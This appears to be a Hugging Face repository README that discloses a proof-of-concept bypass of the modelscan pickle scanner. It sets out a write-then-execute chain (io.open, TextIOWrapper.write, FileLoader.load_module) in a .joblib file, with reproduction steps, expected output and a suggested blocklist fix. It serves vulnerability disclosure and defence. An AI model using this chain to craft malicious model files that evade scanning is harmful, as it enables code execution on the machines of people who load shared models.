Steven-Ni's picture
Upload 4 files
7f8aa3f verified
metadata
tags:
  - security
  - pickle
  - proof-of-concept
license: mit

PoC: modelscan bypass via _io.TextIOWrapper.write + FileLoader.load_module

Security research proof-of-concept.
Demonstrates that modelscan (v0.8.8) fails to detect a malicious .joblib file that achieves arbitrary code execution using only standard-library primitives absent from unsafe_globals.

Vulnerability summary

modelscan uses a blocklist of dangerous GLOBAL opcodes to detect malicious pickle payloads. Six primitives required for a self-contained write-then-execute RCE chain are entirely absent from the blocklist:

GLOBAL opcode Why it bypasses modelscan
io open "io" key absent from unsafe_globals
_io TextIOWrapper.write "_io" key entirely absent from modelscan settings
_io TextIOWrapper.flush Same
_io TextIOWrapper.close Same
_frozen_importlib_external SourceFileLoader Not listed at any severity level
_frozen_importlib_external FileLoader.load_module Same

modelscan reports zero issues. joblib.load() executes attacker-controlled code.

Attack chain (single joblib.load() call, no preconditions)

io.open("/tmp/_poc.py", "w")                            -> writable file handle fh
_io.TextIOWrapper.write(fh, "import os; os.system('id')")  -> writes code to disk
_io.TextIOWrapper.flush(fh) + close(fh)
SourceFileLoader("x", "/tmp/_poc.py")                   -> loader
FileLoader.load_module(loader, "x")                     -> executes /tmp/_poc.py -> RCE

No marshal, no types.FunctionType, no os.system, no subprocess.

Reproduce

# Install dependencies
pip install modelscan joblib

# Clone this repo
git clone https://huggingface.co/Steven-Ni/modelscan-bypass-poc
cd modelscan-bypass-poc

# Generate payload (or use pre-built bypass.joblib)
python generate_payload.py

# Run full reproduction
python reproduce.py

Expected output

============================================================
STEP 1: modelscan scan
============================================================
  modelscan version : 0.8.8
  total_issues      : 0
  -> CLEAN (false negative confirmed)

============================================================
STEP 2: joblib.load() - payload executes
============================================================

[PoC] _io.TextIOWrapper.write + FileLoader.load_module bypass
[PoC] running as: uid=1000(user) gid=1000(user) groups=...
[PoC] hostname  : victim-machine

============================================================
BYPASS CONFIRMED
  modelscan reported zero issues.
  joblib.load() executed attacker-controlled code.
============================================================

Affected version

Package Version Status
modelscan 0.8.8 (latest) Vulnerable

Technique novelty

Prior published write-then-execute chains use _frozen_importlib_external._write_atomic() as the write primitive. This PoC uses io.open + _io.TextIOWrapper.write — a distinct primitive with no prior CVE, GHSA, or public PoC.

Suggested fix

# modelscan/settings.py
"CRITICAL": {
    ...
    "io": ["open"],
    "_io": ["TextIOWrapper", "FileIO"],
    "_frozen_importlib_external": "*",
    "_frozen_importlib": "*",
}